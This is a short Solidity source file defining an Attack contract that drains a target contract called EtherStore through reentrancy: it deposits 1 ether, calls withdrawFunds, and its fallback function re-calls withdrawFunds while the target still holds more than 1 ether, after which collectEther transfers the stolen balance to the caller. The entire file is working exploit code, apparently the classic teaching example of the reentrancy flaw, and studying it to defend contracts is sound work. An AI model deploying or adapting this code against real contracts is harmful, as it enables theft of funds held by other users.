pragma solidity ^0.4.25;

import "./EtherStore.sol";
contract Attack {

EtherStore public etherStore;
// intialize the etherStore variable with the contract address
    constructor(address _etherStoreAddress) public {
        etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(address(this).balance);
}
// fallback function - where the magic happens
function () payable public {
if (address(etherStore).balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}